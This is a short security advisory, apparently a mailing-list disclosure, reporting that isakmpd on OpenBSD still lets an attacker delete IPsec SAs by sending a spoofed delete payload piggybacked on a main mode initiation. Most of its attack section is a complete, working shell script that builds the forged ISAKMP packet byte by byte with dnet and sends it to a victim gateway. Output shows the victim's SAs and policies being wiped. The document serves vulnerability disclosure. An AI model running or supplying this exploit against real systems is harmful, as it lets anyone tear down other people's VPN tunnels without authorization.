Unauthorized deletion of IPsec SAs is still possible using a delete payload piggybacked on an initiation of main mode with the latest version of isakmpd.
c5d443ed4065bde5c240457b08dcb81606ea790ee65250147c49eddf9744dc54
1 Abstract
For nearly 10 months a handful of OpenBSD-developers is trying to fix
a plethora of payload handling flaws in isakmpd. On 2004/01/13 they
released something like a final patch to a broader public. The patch
protects against some specific attacks, but does not solve the
problem.
2 Description
Unauthorized deletion of IPsec SAs is still possible using a delete
payload piggybacked on a initiation of main mode.
For more details trace message_recv() ff. with gdb during an attack.
3 Affected Systems
All (recent) versions of isakmpd are affected. The attack has been
successfully tested against the most recent CVS-version of isakmpd.
4 The Attack
Here we go. There is an IPsec tunnel between sg-a and sg-b:
sg-a# cat /kern/ipsec | grep SPI
SPI = 97e49ca2, Destination = <sg-a's IP address>, Sproto = 50
SPI = 901e38d9, Destination = <sg-b's IP address>, Sproto = 50
The attacker built some little script, because this time he wants to
shoot down a bunch of IPsec SAs:
attacker# cat during_these_hostile_and_trying_times_and_what-not
#!/bin/sh
if [ ! $# -eq 3 ]; then
echo "usage: $0 <faked-src> <victim> <spi>";
exit;
fi
src=$1; dst=$2
spi=`echo $3 | sed 's/\(..\)/\\\\x\1/g'`
cky_i=`dd if=/dev/urandom bs=8 count=1 2>/dev/null`
dnet hex \
$cky_i \
"\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x01\x10\x02\x00" \
"\x00\x00\x00\x00" \
"\x00\x00\x00\x58" \
"\x0c\x00\x00\x2c" \
"\x00\x00\x00\x01" \
"\x00\x00\x00\x01" \
"\x00\x00\x00\x20" \
"\x01\x01\x00\x01" \
"\x00\x00\x00\x18" \
"\x00\x01\x00\x00" \
"\x80\x01\x00\x05" \
"\x80\x02\x00\x02" \
"\x80\x03\x00\x01" \
"\x80\x04\x00\x02" \
"\x00\x00\x00\x10" \
"\x00\x00\x00\x01" \
"\x03\x04\x00\x01" \
$spi |
dnet udp sport 500 dport 500 |
dnet ip proto udp src $src dst $dst |
dnet send
He fires up his script with appropriate parameters:
attacker# ./during_these_hostile_and_trying_times_and_what-not \
> sg-b sg-a 901e38d9
And the victim's IPsec SAs _and_ policies fade away almost
instantaneous:
sg-a# cat /kern/ipsec
Hashmask: 31, policy entries: 0
5 Solution?
There are no bug fixes, yet.
Thomas Walpuski